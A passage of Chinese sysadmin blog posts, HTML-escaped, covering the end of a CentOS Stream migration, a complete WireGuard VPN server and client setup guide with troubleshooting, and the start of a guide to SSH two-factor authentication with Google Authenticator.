&lt;p&gt;清除了旧内核之后，如果之前使用了内核模块的软件，如wireguard等，需重新配置。&lt;&#x2F;p&gt;
&lt;p&gt;检查并重新设置开启启动，如firewalld等软件。另外，由于很多系统内核、系统软件和库文件被替换或升级，有些配置可能被更改或者软件无法启动，需一一进行验证。&lt;&#x2F;p&gt;
&lt;p&gt;总体来说，过程比较简单，也比较容易迁移。但是迁移毕竟是高风险操作，容易导致软件无法启动及灵异问题，排查起来比较麻烦，有条件仍然建议重新安装。&lt;&#x2F;p&gt;
&lt;p&gt;红帽官方不建议将CentOS Stream用于生产环境中，随着CentOS Stream的发布，Red Hat宣布放宽RHEL系统的独立开发者订阅，允许最多免费使用16个RHEL系统。如果服务器比较多，可以考虑迁移到Oracle Linux、Rocky Linux、AlmaLinux等基于RHEL的下游系统。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ti-yan-wireguardde-jian-dan-zhi-mei&quot;&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Farticles%2Fwireguard-howtos.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;体验Wireguard的简单之美&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;5月 10日, 2021年&lt;&#x2F;p&gt;
&lt;p&gt;wireguard是Linus Torvalds为数不多夸过的技术，称赞它是：it&#x27;s a work of art。&lt;&#x2F;p&gt;
&lt;p&gt;wireguard优点和缺点官网有很好的介绍，我简单总结一下，优点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;快速 速度是比传统的IPsec和OpenVPN等快的多，已经合并到高版本的内核，性能更高&lt;&#x2F;li&gt;
&lt;li&gt;现代 有良好的设计及考量&lt;&#x2F;li&gt;
&lt;li&gt;简单 源代码只有三四千行，同时管理和配置也非常简单&lt;&#x2F;li&gt;
&lt;li&gt;安全 使用了最先进的加密技术，并且经过多位密码学家的审查，而且由于简单，攻击面更小&lt;&#x2F;li&gt;
&lt;li&gt;通用 跨平台，支持各种操作系统&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;缺点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Wireguard专注实现简单可靠的加密，不关注流量混淆，容易被DPI检测到，同时由于特征明显，流量有可能被中继或在握手阶段阻断&lt;&#x2F;li&gt;
&lt;li&gt;专注性能，只能使用UDP，不支持TCP模式，当然可以借助udptunnel和udp2raw等软件实现&lt;&#x2F;li&gt;
&lt;li&gt;使用最先进的算法，没有专有硬件加速支持，有可能导致CPU使用率高或DoS，这点现代的cpu基本无需担心&lt;&#x2F;li&gt;
&lt;li&gt;非量子安全&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;总结一下，wireguard配置简单且安全高效，适合服务器之间互联。由于国内udp限速及特征明显，不适合个人当梯子用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-fu-wu-qi-duan-an-zhuang-wireguard&quot;&gt;一、服务器端安装wireguard&lt;&#x2F;h2&gt;
&lt;p&gt;如果系统是BSD之类的系统安装在用户空间，直接安装即可，如果是linux系统强烈建议使用最新的发行版，并更新内核到最新。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-geng-xin-nei-he-bing-zhong-qi&quot;&gt;1.1 更新内核并重启&lt;&#x2F;h3&gt;
&lt;p&gt;Centos系列：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;yum update  -y
reboot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;1-2-an-zhuang-epelyuan-ji-elrepoyuan&quot;&gt;1.2 安装epel源及ELRepo源：&lt;&#x2F;h3&gt;
&lt;p&gt;centos 7系统：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;sudo yum install epel-release https:&amp;#x2F;&amp;#x2F;www.elrepo.org&amp;#x2F;elrepo-release-7.el7.elrepo.noarch.rpm
sudo yum install yum-plugin-elrepo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;centos 8系统：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install elrepo-release epel-release -y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装wireguard:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;sudo yum install kmod-wireguard wireguard-tools -y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;er-pei-zhi-fu-wu-qi-duan&quot;&gt;二、配置服务器端&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-chuang-jian-wireguardpei-zhi-mu-lu-bing-sheng-cheng-gong-si-yao&quot;&gt;2.1 创建wireguard配置目录并生成公私钥：&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;mkdir -p &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;
wg genkey | sudo tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;server_private.key | wg pubkey | sudo tee &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;server_public.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-2-bian-ji-wireguardde-pei-zhi-wen-jian&quot;&gt;2.2 编辑wireguard的配置文件&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;vim &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;wg0.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写入以下内容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[Interface]
Address = 10.10.0.1&amp;#x2F;24
ListenPort = 51820
PrivateKey = 生成的server_private.key内容

[Peer]
PublicKey = 客户端的client public.key内容
AllowedIPs = 10.10.0.2&amp;#x2F;32
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端的公钥需在客户端生成，并替换这里的内容，已可以在执行一下2.1节中的命令，生成另外一对公私钥供客户端使用。&lt;&#x2F;p&gt;
&lt;p&gt;设置权限，只允许root读取wireguard内容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt; chmod 600 &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F; -R
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-3pei-zhi-ip-forwardingji-fang-huo-qiang&quot;&gt;2.3配置ip forwarding及防火墙&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;2-3-1-pei-zhi-ip-forwarding&quot;&gt;2.3.1 配置ip forwarding:&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;vim &amp;#x2F;etc&amp;#x2F;sysctl.conf

net.ipv4.ip_forward = 1
net.ipv6.conf.all.forwarding = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使以上配置生效：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;sysctl -p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-3-2-pei-zhi-di-zhi-wei-zhuang-bing-fang-xing-duan-kou&quot;&gt;2.3.2 配置地址伪装并放行端口&lt;&#x2F;h4&gt;
&lt;p&gt;centos 7有firewalld和iptables两种防火墙
，如果使用firewalld作为防火墙：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;firewall-cmd --zone=public --permanent --add-masquerade
firewall-cmd --permanent --add-port=51820&amp;#x2F;udp
systemctl reload firewalld
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果使用iptables作为防火墙：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;iptables -A FORWARD -i wg0 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -I INPUT 1 -p udp --dport 51820 -j ACCEPT

ip6tables -A FORWARD -i wg0 -j ACCEPT
ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
ip6tables -I INPUT 1 -p udp --dport 51820 -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-4qi-dong-fu-wu-qi-duan&quot;&gt;2.4启动服务器端&lt;&#x2F;h3&gt;
&lt;p&gt;可以使用wg-quick或者systemctl进行管理，使用wg-quick命令：&lt;&#x2F;p&gt;
&lt;p&gt;启动wireguard:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;wg-quick up &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;wg0.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关闭wireguard:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;wg-quick down &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;wg0.conf
wg-quick down wg0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者使用systemctl命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;systemctl start wg-quick@wg0.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看启动日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;journalctl -eu wg-quick@wg0.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;设置为开机启动：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;systemctl enable wg-quick@wg0.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启动成功后，使用ifconfig命令即可看到wg0的网卡，使用wg命令可以看到详细的信息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-ke-hu-duan-pei-zhi&quot;&gt;三、客户端配置&lt;&#x2F;h2&gt;
&lt;p&gt;wireguard在各平台都有客户端，下载地址： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.wireguard.com%2Finstall%2F&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;www.wireguard.com&#x2F;install&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-ke-hu-duan-pei-zhi&quot;&gt;3.1 客户端配置&lt;&#x2F;h3&gt;
&lt;p&gt;如果开客户端是图形界面，一般打开客户端就有生成公私钥对的选项；如果是客户端也是linux等服务器系统，可以按上面服务器端的生成方法，使用已有的公私钥对也可以。&lt;&#x2F;p&gt;
&lt;p&gt;客户端配置文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[Interface]
PrivateKey = 客户端自己的私钥
Address = 10.10.0.2&amp;#x2F;32
DNS = 1.1.1.1,8.8.8.8

[Peer]
PublicKey = 服务器端的公钥
#PresharedKey = XXX    # 可选
AllowedIPs = 0.0.0.0&amp;#x2F;0
Endpoint = 服务器公网地址:51820
PersistentKeepalive = 10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;客户端有几个配置需注意：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;这里需将客户端的公钥，添加到2.2节中的服务器端配置中，并重启服务器端&lt;&#x2F;li&gt;
&lt;li&gt;AllowedIPs = 0.0.0.0&#x2F;0 表示客户端所有流量都通过VPN服务器中转，即全局代理&lt;&#x2F;li&gt;
&lt;li&gt;PersistentKeepalive = 10，每10秒发送keepalive心跳，如果没有此配置，客户端连接后，需在有流量活动的情况下才会激活连接&lt;&#x2F;li&gt;
&lt;li&gt;DNS建议使用公共dns，如果服务器端有配置dns server，可以指定成服务器端vpn的IP&lt;&#x2F;li&gt;
&lt;li&gt;PresharedKey 预共享密钥能增强安全性，每个peer均不相同，通过“wg genpsk”命令生成&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;启动客户端后，在服务器端使用wg命令查看是否有客户端信息，并测试客户端到服务器、服务器到客户端的连接情况。&lt;&#x2F;p&gt;
&lt;p&gt;多个客户端时，需在server端配置多个peer，每个peer指定独立的静态ip和各自的公钥。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;si-yi-xie-ji-qiao&quot;&gt;四、一些技巧&lt;&#x2F;h2&gt;
&lt;p&gt;wireguard支持PreUp、PostUp、PreDown、PostDown参数，可以在wireguard启动、关闭前后执行一些自定义脚本或命令，实现一些特殊的需求。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-she-zhi-ce-lue-lu-you&quot;&gt;4.1 设置策略路由&lt;&#x2F;h3&gt;
&lt;p&gt;wiregard提供Table参数进行设置路由表，Table默认值是auto，由wireguard自动设置路由，也可以按需创建路由表，并设置策略路由，客户端和服务器端都可以设置该参数。在 [interface] 下面添加以下的配置即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Table = 1234
PostUp = ip rule add ipproto tcp dport 25 table 1234
PreDown = ip rule delete ipproto tcp dport 25 table 1234
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-2-tong-guo-allowedipsjin-xing-aclshe-zhi&quot;&gt;4.2 通过AllowedIPs进行ACL设置&lt;&#x2F;h3&gt;
&lt;p&gt;AllowedIPs控制了哪些流量允许使用该vpn，未匹配的流量会直连。个人翻墙时会使用全局VPN，但服务器之间连接时，基本不会把wiregaurd当做全局VPN使用。设置这里就非常方便。&lt;&#x2F;p&gt;
&lt;p&gt;AllowedIPs = 0.0.0.0&#x2F;0,::&#x2F;0 表示所有ipv4及ipv6的流量都要走vpn，适合个人用户。 AllowedIPs = 10.10.0.0&#x2F;24,192.168.1.0&#x2F;24 表示只有目的IP是这两个网段时走wireguard,其余流量走服务器默认的路由。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-vpn-kill-switchgong-neng&quot;&gt;4.3 VPN kill switch功能&lt;&#x2F;h3&gt;
&lt;p&gt;VPN Kill Switch 持续监控客户端与VPN服务器的连接，连接意外断开时会阻止设备客户端访问网络。从而防止泄露客户端的隐私。很多商业VPN都提供该功能，实现起来很简单，通过PreDown、PostDown执行更改客户端的防火墙、路由表、或者网卡配置即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wu-gu-zhang-pai-cha&quot;&gt;五、故障排查&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-1-cha-kan-wireguardri-zhi&quot;&gt;5.1 查看wireguard日志&lt;&#x2F;h3&gt;
&lt;p&gt;wireguard的客户端都会有连接的日志，查看wireguard服务器端日志只能通过查看内核日志的方方式，内核要支持Dynamic Debugging,正常情况下需编译内核开启CONFIG_DYNAMIC_DEBUG，有些发型版已经默认开启。可以执行以下命令进行查看：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;mount | grep debug

debugfs on &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug type debugfs (rw,relatime)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果和上面的显示一样，就说明已开启。配置开启调试日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;modprobe wireguard
echo module wireguard +p &amp;gt; &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dynamic_debug&amp;#x2F;control
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;开启之后，可以通过以下两个命令查看日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt; dmesg -wH
 journalctl -kf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于wireguard对低版本内核支持不好，实际测试中centos 7系统日志很少，centos 8系统日志就比较详细，这也是为什么安装wireguard之前建议升级内核的原因。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-qi-ta-yu-dao-de-gu-zhang&quot;&gt;5.2 其它遇到的故障&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;报错1: linux做为客户端时启动wireguard报错： RTNETLINK answers: Operation not supported&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该报错需重启服务器或客户端&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;报错2: vpn服务器ping客户端时报错： ping: sendmsg: Required key not available&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该错最有可能是服务器端的peer部分AllowedIPs配置不对，网上一些教程使用SaveConfig=true，该配置是在关闭或重启wireguard时才添加配置，导致如果客户端连接后如果服务器端未重启，就会出现该错误，不建议使用saveConfig=true。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;报错3: 服务器端ping客户端时提示： ping: sendmsg: Destination address required&lt;&#x2F;strong&gt;一般是服务器端更改配置后，客户端未重新连接，客户端重新连接即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;报错4: 启动wireguard时报错： Error: Unknown device type. Unable to access interface: Protocol not supported 或执行 modprobe wireguard 命令报错： modprobe: FATAL: Module wireguard not found in directory&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个错误通常是因为升级内核导致的，wireguard的内核模块安装在旧版内核上，新内核没有wireguard模块，解决方法是卸载旧版内核、旧版kernel-header、旧版kernel-devel等,重新安装wireguard即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;报错5: yum或dnf无法安装kmod-wireguard&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install kmod-wireguard
Repository epel is listed more than once in the configuration
Last metadata expiration check: 1:02:21 ago on Thu 13 May 2021 02:45:45 PM HKT.
Error:
 Problem: cannot install the best candidate for the job
  - nothing provides kernel(__skb_flow_dissect) = 0xd82bed9c needed by kmod-wireguard-3:1.0.20210424-1.el8_3.elrepo.x86_64
  - nothing provides kernel(flow_keys_basic_dissector) = 0xa7e38f12 needed by kmod-wireguard-3:1.0.20210424-1.el8_3.elrepo.x86_64
  - nothing provides kernel(ipv6_stub) = 0xf3965b90 needed by kmod-wireguard-3:1.0.20210424-1.el8_3.elrepo.x86_64
  - nothing provides kernel(totalram_pages) = 0xde9360ba needed by kmod-wireguard-3:1.0.20210424-1.el8_3.elrepo.x86_64
(try to add &amp;#x27;--skip-broken&amp;#x27; to skip uninstallable packages or &amp;#x27;--nobest&amp;#x27; to use not only best candidate packages)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此错误是因为centos stream系统默认没有wireguard导致，需执行以下命令启用COPR库中的wireguard：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install epel-release
dnf copr enable jdoss&amp;#x2F;wireguard
dnf install wireguard-dkms wireguard-tools
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;综上，配置非常简单，功能可玩性高！&lt;&#x2F;p&gt;
&lt;p&gt;参考文章：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.wireguard.com%2F&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;www.wireguard.com&#x2F;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.linuxbabe.com%2Fcentos%2Fwireguard-vpn-server-centos&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;www.linuxbabe.com&#x2F;centos&#x2F;wireguard-vpn-server-centos&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sshqi-yong-liang-bu-yan-zheng-de-yi-xie-wan-fa&quot;&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Farticles%2Fssh-multi-factor-authentication.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;ssh启用两步验证的一些玩法&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;1月 21日, 2021年&lt;&#x2F;p&gt;
&lt;p&gt;正常的服务器都是使用 用户名+密码或者用户名+ssh key的方式登录，配合防火墙及合理的ssh配置，能达到很好的安全性。但是无论密码还是ssh key都是固定不变的，一旦被渗透等就会导致登录信息泄露，这时如果启用了多因子认证，就能防止黑客通过ssh登录。多因子认证是在原有的认证基础上，在加一个或多个基于时间不断变化的验证码
、或生物指纹、面部识别
的认证，只要这个信息不泄漏，即使原认证信息泄露也无法登录。&lt;&#x2F;p&gt;
&lt;p&gt;最常见的多因子验证，就是谷歌的两步验证。类linux的系统中，很多软件都是使用pam模块做认证的，谷歌开源了google-authenticator-libpam工具，理论上支持pam认证的软件都可以启用谷歌两步认证。下面就说一下ssh配置两步认证的过程和一些玩法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yi-bian-yi&quot;&gt;一、编译&lt;&#x2F;h3&gt;
&lt;p&gt;centos 的epel源中有现成的包，debian中也有，直接使用dnf就能安装，我这里使用编译的方式安装。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install git autoconf automake  make  libtool gcc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在命令行显示二维码用到 libqrencode ，&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install qrencode
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两步认证用到了pam认证框架，需安装pam-devel&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install pam-devel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;google&amp;#x2F;google-authenticator-libpam.git
cd google-authenticator-libpam

.&amp;#x2F;bootstrap.sh
.&amp;#x2F;configure

make
sudo make install
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;主要用到以下两个文件&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;执行程序： &#x2F;usr&#x2F;local&#x2F;bin&#x2F;google-authenticator&lt;&#x2F;li&gt;
&lt;li&gt;pam库文件：&#x2F;usr&#x2F;local&#x2F;lib&#x2F;security&#x2F;pam_google_authenticator.so&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;er-she-zhi-shi-jian-tong-bu&quot;&gt;二、设置时间同步&lt;&#x2F;h3&gt;
&lt;p&gt;TOTP是基于时间的，在初始化两步验证之前，先对一下时间，如果有ntpdate命令，执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ntpdate time.cloudflare.com
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把这这个命令加到定时任务中，一定要确保服务器时间准确。&lt;&#x2F;p&gt;
&lt;p&gt;如果系统是redhat8，系统中ntp已经被chrony替代，执行以下命令:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;dnf install -y chrony

systemctl enable chronyd

systemctl start chronyd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看时间同步时间源服务器:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;chronyc sources
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看同步状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;chronyc tracking
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;san-chu-shi-hua-liang-bu-yan-zheng&quot;&gt;三、初始化两步验证&lt;&#x2F;h3&gt;
&lt;p&gt;准备工作做完后，就可以初始化两步验证，首先需要手机或个人电脑中安装两步验证的客户端，例如：谷歌验证器、authy等。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-shou-dong-chu-shi-hua&quot;&gt;3.1 手动初始化&lt;&#x2F;h4&gt;
&lt;p&gt;在服务器上执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;google-authenticator
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;google-authenticator 初始化步骤：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　第1个：是否想启用基于时间的令牌，选择y&lt;&#x2F;p&gt;
&lt;p&gt;　　第2个：是否更新认证文件(root用户是&#x2F;root&#x2F;.google_authenticator)，由于第一次设置文件不存在，选择y&lt;&#x2F;p&gt;
&lt;p&gt;　　第3个：是否禁止多个用户公用认证口令，有可能会产生中间人欺骗，即令牌用过一次即失效，禁止选择y&lt;&#x2F;p&gt;
&lt;p&gt;　　第4个：默认1个口令的有效期是30s，为了防止主机时间和口令客户端时间不一致，最多允许客户端和服务器误差4分钟，服务器上已经设置时间同步，选择n&lt;&#x2F;p&gt;
